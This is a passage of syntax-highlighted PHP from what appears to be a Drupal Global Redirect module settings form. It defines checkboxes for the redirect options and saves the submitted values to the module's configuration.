&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	  $form[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;settings&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;][&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;term_path_handler&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#type&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;checkbox&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#title&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Taxonomy Term Path Handler&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#description&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;If enabled, any request to a taxonomy/term/[tid] page will check that the correct path is being used for the term&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\&apos;&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;s vocabulary.&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#default_value&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; $settings[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;term_path_handler&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	  );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	  $form[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;settings&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;][&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;frontpage_redirect&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#type&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;checkbox&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#title&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Frontpage Redirect Handler&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#description&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;If enabled, any request to the frontpage path will redirect to the site root.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;	                         Whatever you set as the path of the front page on the !link settings page will redirect to the site root (e.g. &quot;node&quot; or &quot;node/1&quot; and also its alias (e.g. in case you have set &quot;node/1&quot; as your home page but that page also has an alias &quot;home&quot;)).&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	      &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;!link&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;l&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Site Information&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;admin/settings/site-information&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    )),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#default_value&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; $settings[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;frontpage_redirect&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	  );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	  $form[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;settings&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;][&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;ignore_admin_path&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#type&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;checkbox&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#title&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Ignore Admin Path&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#description&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;If enabled, any request to the admin section of the site will be ignored by Global Redirect.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;	                         This is useful if you are experiencing problems with Global Redirect and want to protect the admin section of your website. NOTE: This may not be desirable if you are using path aliases for certain admin URLs.&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#default_value&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; $settings[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;ignore_admin_path&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	  );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	  $form[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;buttons&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;][&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;reset&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#type&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;submit&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#submit&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;submitResetDefaults&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#value&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Reset to defaults&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	  );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;parent::&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;buildForm&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;($form, $form_state);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;   * Compares the submitted settings to the defaults and unsets any that are equal. This was we only store overrides.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;   */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;public&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;submitForm&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;$form, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;$form_state) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  	&lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Get config factory&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  	$config &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;configFactory&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;globalredirect.settings&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  	$form_values &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; $form_state[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;values&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;][&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;settings&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    $config&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;deslash&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, $form_values[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;deslash&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;nonclean_to_clean&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, $form_values[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;nonclean_to_clean&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;trailing_zero&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, $form_values[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;trailing_zero&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;menu_check&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, $form_values[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;menu_check&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;case_sensitive_urls&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, $form_values[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;case_sensitive_urls&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;language_redirect&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, $form_values[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;language_redirect&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;canonical&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, $form_values[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;canonical&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;content_location_header&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, $form_values[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;content_location_header&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
